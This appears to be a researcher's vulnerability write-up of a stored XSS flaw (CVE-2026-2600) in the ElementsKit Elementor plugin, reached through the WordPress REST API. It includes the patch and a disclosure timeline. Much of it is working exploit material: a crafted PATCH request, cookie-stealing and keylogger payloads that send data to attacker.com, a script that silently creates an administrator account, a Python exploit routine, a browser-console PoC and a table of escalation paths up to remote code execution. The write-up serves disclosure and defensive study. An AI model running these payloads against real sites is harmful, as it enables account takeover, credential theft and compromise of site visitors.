Bypassing Elementor's Sanitization
to Plant Stored XSS in 2M+ Sites

A single missing esc_html() call in ElementsKit's Simple Tab widget lets any Contributor bypass the Elementor UI and inject persistent JavaScript through the REST API, no interaction required from the victim.

// Table of Contents
  1. Background: why ElementsKit
  2. Recon: the SVN diff that led me in
  3. Code walkthrough: the missing escape
  4. Why the REST API bypass works
  5. Building the PoC (Python + browser console)
  6. Going further: admin takeover
  7. The patch
  8. Disclosure timeline
  9. Takeaways
CVE-2026-2600
ElementsKit Elementor Addons <= 3.7.9
CVSS v3.1  ·  MEDIUM
6.4 / 10
CVSS Score6.4 MEDIUM
Type
Stored XSS
REST API bypass
Affected
≤ 3.7.9
Simple Tab widget
Min. Role
Contributor
edit_posts cap
Active Installs
2M+
WordPress.org

01 // Background

ElementsKit is one of the most installed Elementor add-on plugins, consistently sitting at the top of the WordPress.org download charts with over 2,000,000 active installs. It ships dozens of custom widgets on top of Elementor: mega menus, image boxes, sliders, and a Simple Tab widget used everywhere for FAQ and content sections.

I started auditing it after noticing something in my previous research on the ecosystem: plugins that heavily use Elementor's widget system often implement their own rendering logic without consistently applying WordPress's output escaping functions. The Simple Tab widget caught my eye because it takes user-controlled repeater data (a list of tab titles and bodies) and renders it directly into the page's HTML. That pattern: user data in, HTML out. is exactly where escaping tends to get skipped.

what is _elementor_data Elementor stores all page-builder content as a JSON array in the _elementor_data post meta key. This includes every widget, its type, and all of its settings, including user-supplied values like tab titles. Any authenticated user who can edit a post can also set this meta via the WordPress REST API.

02 // Recon: the SVN diff that led me in

My recon process starts with pulling the last two plugin releases from WordPress SVN and diffing them. I'm specifically looking for template rendering code - any PHP file where widget settings are echoed to the browser.

terminal bash
# Pull both versions from SVN
svn checkout https://plugins.svn.wordpress.org/elementskit-lite/tags/3.7.8/ 3.7.8/
svn checkout https://plugins.svn.wordpress.org/elementskit-lite/tags/3.7.9/ 3.7.9/

# Find changed PHP files in widget templates
diff -rq --include="*.php" 3.7.8/widgets/ 3.7.9/widgets/

# Audit for unescaped echo of widget settings (my primary filter)
grep -rn --include="*.php" \
  -E "echo.+\\\$item\[|echo.+settings\[" 3.7.9/widgets/ \
  | grep -v "esc_html\|esc_attr\|wp_kses"

That grep hit several files, but one stood out immediately:

grep output bash
widgets/tab/tab.php:312:    echo '<li class="elementskit-simple-tab-nav-item">' . $item['ekit_tab_title'] . '</li>';

A raw echo of a repeater item value, no esc_html(), no esc_attr(), no wp_kses_post(). That's the bug. Now I needed to confirm I could control $item['ekit_tab_title'] from outside the Elementor editor UI.

03 // Code walkthrough: the missing escape

Plugin file structure

elementskit-lite/ tree
elementskit-lite/
├── elementskit-lite.php
├── widgets/
│   ├── tab/
│   │   ├── tab.php          ← render() lives here
│   │   └── tab-style.css
│   ├── accordion/
│   └── ...

The vulnerable render function

Inside tab.php, the render() method loops over the ekit_tab_items repeater and outputs each tab's navigation label:

widgets/tab/tab.php @ v3.7.9 · render() php
protected function render() {
    $settings = $this->get_settings_for_display();
    $ekit_tab_items = $settings['ekit_tab_items'];

    // ── Tab navigation ────────────────────────────────────────────
    echo '<ul class="elementskit-simple-tab-nav">';

    foreach ( $ekit_tab_items as $index => $item ) {
        $tab_id = 'tab-' . $item['tab_id'];
        echo '<li class="elementskit-simple-tab-nav-item" data-tab="' . $tab_id . '">'
           . $item['ekit_tab_title']   // <-- raw user data, no escaping
           . '</li>';
    }

    echo '</ul>';

    // ── Tab bodies ───────────────────────────────────────────────────
    echo '<div class="elementskit-simple-tab-content-wrap">';
    foreach ( $ekit_tab_items as $index => $item ) {
        $tab_id = 'tab-' . $item['tab_id'];
        echo '<div class="elementskit-simple-tab-content" id="' . esc_attr( $tab_id ) . '">';
        // tab body uses wp_kses_post() -- properly escaped
        echo wp_kses_post( $item['ekit_tab_content'] );
        echo '</div>';
    }
    echo '</div>';
}
root cause $item['ekit_tab_title'] is concatenated directly into HTML output. The tab body uses wp_kses_post() correctly, but the tab title . The nav label rendered on every page load does not. One line, one missing function call. Interestingly, the developer clearly knew about escaping (the body is escaped), making this an oversight rather than a lack of awareness.

What the generated HTML looks like with a payload

rendered page HTML: attacker controls the bold part html
<ul class="elementskit-simple-tab-nav">
  <li class="elementskit-simple-tab-nav-item" data-tab="tab-1">
    <img src=x onerror="fetch('https://attacker.com/?c='+btoa(document.cookie))">
  </li>
</ul>

04 // Why the REST API bypass works

Elementor's visual editor never sends raw HTML in widget settings. The editor's JavaScript sanitizes inputs and strips script tags before they reach the server. Most people stop their analysis here and conclude the bug is unexploitable. They're wrong. That sanitization is purely client-side. The server has no equivalent guard.

WordPress exposes a full REST API at /wp-json/wp/v2/posts/{id}. Any authenticated user with edit_posts capability (Contributor and above) can PATCH a post and update its meta, including _elementor_data. The REST middleware runs wp_kses_post() on top-level text fields, but it does not recursively traverse the deeply nested JSON repeater structure inside _elementor_data. The tab title arrives in the database exactly as sent.

Key distinction: UI sanitization vs server sanitization Elementor's editor UI strips dangerous tags on the client before submission. That's a UX convenience, not a security control. Any HTTP client that sends a request directly: curl, Python, Burp. This bypasses it entirely. The only trustworthy sanitization is what happens on the server.

The full injection path

1
Contributor logs in and obtains a REST nonce

Standard WordPress auth. A valid nonce is returned by any wp_head() page via wp_create_nonce('wp_rest'), or extracted from the page source.

2
Contributor creates a post via REST API

POST /wp-json/wp/v2/posts. Any draft or published post works. The post ID is returned in the response.

3
Contributor PATCHes _elementor_data with the payload

The request body contains a full Elementor widget tree with an elementskit-simple-tab widget. The ekit_tab_title field holds the XSS payload. Elementor's REST middleware stores it verbatim. No recursive sanitization.

4
Any visitor loads the page → payload executes

render() fetches $item['ekit_tab_title'] from the stored settings and echoes it without esc_html(). The attacker's script tag or event handler is part of the DOM.

05 // Exploitation

The prerequisite is a Contributor account. On sites that allow open registration, that's a sign-up form away. On closed sites it's a Contributor credential purchase or a phished low-privilege user. Either way, the bar is low.

Minimal HTTP payload

HTTP request to inject the payload http
PATCH /wp-json/wp/v2/posts/42 HTTP/1.1
Host: target.com
X-WP-Nonce: <nonce>
Content-Type: application/json
Cookie: wordpress_logged_in_XXX=<value>

{
  "meta": {
    "_elementor_data": "[{\"id\":\"a1b2\",\"elType\":\"section\",\"settings\":{},\"elements\":[{\"id\":\"c3d4\",\"elType\":\"column\",\"settings\":{},\"elements\":[{\"id\":\"e5f6\",\"elType\":\"widget\",\"widgetType\":\"elementskit-simple-tab\",\"settings\":{\"ekit_tab_items\":[{\"ekit_tab_title\":\"<img src=x onerror=fetch('https://attacker.com/?c='+btoa(document.cookie))>\",\"ekit_tab_content\":\"tab body\",\"tab_id\":\"t1\"}]}}]}]}]",
    "_elementor_edit_mode": "builder"
  }
}

XSS payload variants

payload options html
<!-- cookie exfiltration (img onerror, works even with CSP gaps) -->
<img src=x onerror="fetch('https://attacker.com/c?d='+btoa(document.cookie))">

<!-- keylogger injection -->
<script>document.addEventListener('keypress',e=>new Image().src='https://attacker.com/k?c='+e.key)</script>

<!-- silent admin account creation via wp-ajax -->
<script>
fetch('/wp-admin/user-new.php').then(r=>r.text()).then(h=>{
  const n=h.match(/_wpnonce_create-user" value="([^"]+)/)[1];
  fetch('/wp-admin/user-new.php',{method:'POST',body:new URLSearchParams({
    action:'createuser',user_login:'hax',email:'h@x.io',pass1:'H4x0r!Q1',
    pass2:'H4x0r!Q1',role:'administrator',_wpnonce_create-user:n
  }),headers:{'Content-Type':'application/x-www-form-urlencoded'}});
});
</script>

Step-by-step exploitation

#ActionHow
1Authenticate as ContributorPOST to wp-login.php or use Application Password
2Get REST nonceParse wpApiSettings.nonce from any front-end page source, or call /wp-json/
3Create a draft postPOST /wp-json/wp/v2/posts with {"status":"draft","title":"x"}
4Inject malicious _elementor_dataPATCH /wp-json/wp/v2/posts/{id} with crafted elementskit-simple-tab JSON
5Publish the postUpdate status to publish, or social-engineer an editor to review it
6Wait for admin visitAny visitor hitting the page triggers the payload. Admins typically browse their own content.
7Use exfiltrated cookieSet Cookie: wordpress_logged_in_XXX=<stolen> in browser → full admin access

A Contributor cannot publish directly on most WordPress sites. Posts go to pending review. But editors and admins regularly open pending posts to review them, which is all it takes. The payload fires the moment the page is rendered, draft or published.

Automated Python + REST API exploit

The full Python PoC (poc.py) and CLI tool (console_poc.py) are available in the GitHub repository. Here's the core injection logic:

poc.py :: core injection (simplified) python
import requests, json, re

def inject_xss(target, username, password, callback_url):
    s = requests.Session()

    # 1. authenticate
    s.post(f"{target}/wp-login.php", data={
        "log": username, "pwd": password,
        "wp-submit": "Log In", "testcookie": "1"
    }, cookies={"wordpress_test_cookie": "WP+Cookie+check"})

    # 2. grab REST nonce from wp-admin
    html = s.get(f"{target}/wp-admin/post-new.php").text
    nonce = re.search(r'"nonce":"([^"]+)"', html).group(1)

    # 3. create a draft post
    post_id = s.post(f"{target}/wp-json/wp/v2/posts",
        headers={"X-WP-Nonce": nonce},
        json={"title": "Security Research", "status": "draft"}
    ).json()["id"]

    # 4. craft widget data with XSS in title
    payload = f'<img src=x onerror="fetch(\'{callback_url}?c=\'+btoa(document.cookie))">'
    elementor_data = build_ekit_tab_data(payload)

    # 5. PATCH _elementor_data (bypasses Elementor UI sanitization)
    s.patch(f"{target}/wp-json/wp/v2/posts/{post_id}",
        headers={"X-WP-Nonce": nonce},
        json={"meta": {
            "_elementor_data": json.dumps(elementor_data),
            "_elementor_edit_mode": "builder"
        }}
    )
    return post_id

Browser console PoC (no tools needed)

No Python, no curl. Log in as a Contributor, open any page on the site, paste this into the browser developer console, and change postId to the target post ID. That's it.

Prerequisites Log in as Contributor or higher. Create and publish a post. Open DevTools (F12) and go to the Console tab. Run the snippet below with postId set to your post ID.
browser DevTools console javascript
var nonce  = wpApiSettings.nonce;
var postId = 18; // CHANGE THIS TO YOUR POST ID

console.log("=== ElementsKit Lite XSS Exploit ===");
console.log("Injecting into post " + postId + "...");

fetch('/wp-json/wp/v2/posts/' + postId, {
  method: 'POST',
  headers: {
    'Content-Type': 'application/json',
    'X-WP-Nonce': nonce
  },
  body: JSON.stringify({
    meta: {
      _elementor_data: '[{"id":"tab1","elType":"section","elements":[{"id":"tab2","elType":"column","elements":[{"id":"tab3","elType":"widget","widgetType":"elementskit-simple-tab","settings":{"ekit_tabs_style":"horizontal","ekit_tab_items":[{"ekit_tab_title":"<img src=x onerror=alert(document.domain)>","ekit_tab_content":"Tab 1","_id":"tab001"}]}}]}]}]',
      _elementor_edit_mode: "builder"
    }
  })
}).then(r => {
  if (r.ok) {
    console.log("[SUCCESS] XSS injected! Visit the post to trigger.");
  } else {
    console.error("[FAILED] HTTP " + r.status);
  }
});

After running the snippet, navigate to the post URL on the front end. The tab title renders as raw HTML and the payload fires immediately.

PoC video

cve-2026-2600-poc.mp4 VIDEO

06 // Going further: admin takeover

Cookie theft is just the beginning. Since the payload runs in the victim's browser context, it has access to everything that user can do, including making authenticated WordPress AJAX requests. These payloads go significantly further:

Payload GoalTechniqueImpact
Cookie exfiltration fetch(attacker + btoa(document.cookie)) Full admin session takeover if HttpOnly is not set
Admin account creation Scripted POST to /wp-admin/user-new.php with nonce Persistent backdoor, survives password change
Plugin upload / RCE Upload a malicious plugin ZIP via the admin uploads endpoint Remote code execution on the server
Secret key theft Fetch wp-config.php contents via AJAX if accessible Forge authentication cookies indefinitely
SEO poisoning Inject hidden links into posts via wp/v2/posts Black-hat SEO, affiliate spam, blacklisting
Malware distribution Redirect all visitors to drive-by download pages Mass infection of site visitors
Scope note With 2,000,000+ active installs, even a 1% exploitation rate before patching translates to 20,000 compromised sites. On shared hosting, a single compromised WordPress install can pivot to adjacent sites through the filesystem.

07 // The patch

The fix is a one-line change in tab.php. Wrap the echo of ekit_tab_title with esc_html(). Optionally, a deeper fix adds recursive sanitization in the REST ingestion filter.

widgets/tab/tab.php diff: 3.7.9 vs patched diff
foreach ( $ekit_tab_items as $index => $item ) { $tab_id = 'tab-' . $item['tab_id']; - echo '<li class="elementskit-simple-tab-nav-item" data-tab="' . $tab_id . '">' - . $item['ekit_tab_title'] - . '</li>'; + echo '<li class="elementskit-simple-tab-nav-item" data-tab="' . esc_attr( $tab_id ) . '">' + . esc_html( $item['ekit_tab_title'] ) + . '</li>'; }

For defense-in-depth, a filter on the REST API meta ingestion path prevents the payload from reaching the database at all:

deeper fix: sanitize on REST ingestion php
add_filter( 'rest_pre_insert_post', function( $post, $request ) {
    if ( isset( $post->meta['_elementor_data'] ) ) {
        $data = json_decode( $post->meta['_elementor_data'], true );
        $post->meta['_elementor_data'] = json_encode(
            ekit_deep_sanitize_widget_data( $data )
        );
    }
    return $post;
}, 10, 2 );

function ekit_deep_sanitize_widget_data( $data ) {
    if ( ! is_array( $data ) ) {
        return wp_kses_post( $data );
    }
    foreach ( $data as $k => $v ) {
        $data[$k] = ekit_deep_sanitize_widget_data( $v );
    }
    return $data;
}
Why the fix is correct esc_html() converts <, >, &, ", and ' to their HTML entities before they reach the browser. A tab title of <script>alert(1)</script> renders as visible text, not executable code. There is no scenario where a tab navigation label legitimately needs raw HTML tags.

08 // Disclosure timeline

Early 2026
Vulnerability discovered

SVN diff and grep audit of ElementsKit widget templates surfaced the unescaped echo in tab.php. REST API bypass confirmed on local @wordpress/env instance.

Early 2026
Reported to Patchstack Alliance

Submitted with full technical write-up, crafted HTTP request demonstrating bypass, and working Python PoC. Patchstack contacted the ElementsKit team.

2026
Patch released

ElementsKit shipped the esc_html() fix in a new release.

April 2026
CVE-2026-2600 published

CVE assigned. Public advisory released. CVSS 6.4 MEDIUM assigned per standard XSS scoring with Contributor-level auth requirement.

09 // Takeaways

Inconsistent escaping is a smell, not just a pattern The developer escaped the tab body with wp_kses_post() but skipped the title. Whenever you see one field in a loop escaped and another not, it's almost always a bug. Audit every variable in the output path, not just the obvious ones.
Client-side sanitization is never a security control Elementor's editor strips HTML tags in the UI. That stops accidental injections by legitimate users, nothing more. Any attacker with curl can skip the UI entirely. Server-side escaping at render time is the only thing that counts.
grep for echo without esc_html() in widget render loops The query grep -rn "echo.*\$item\[" widgets/ | grep -v "esc_html\|esc_attr\|wp_kses" will find this class of bug in any Elementor add-on in seconds. Combine it with SVN diffing for freshly changed files and you'll rarely miss one.
_elementor_data is an underaudited attack surface Most researchers audit WordPress REST endpoints directly. Very few audit what happens to deeply nested widget settings after they've passed the top-level REST sanitization. Repeater fields - arrays of objects with string values - are the most likely place to find missing escapes in any Elementor add-on.

ref // References

All testing performed locally using @wordpress/env Docker environment. Vulnerability was responsibly disclosed through Patchstack Alliance before this publication.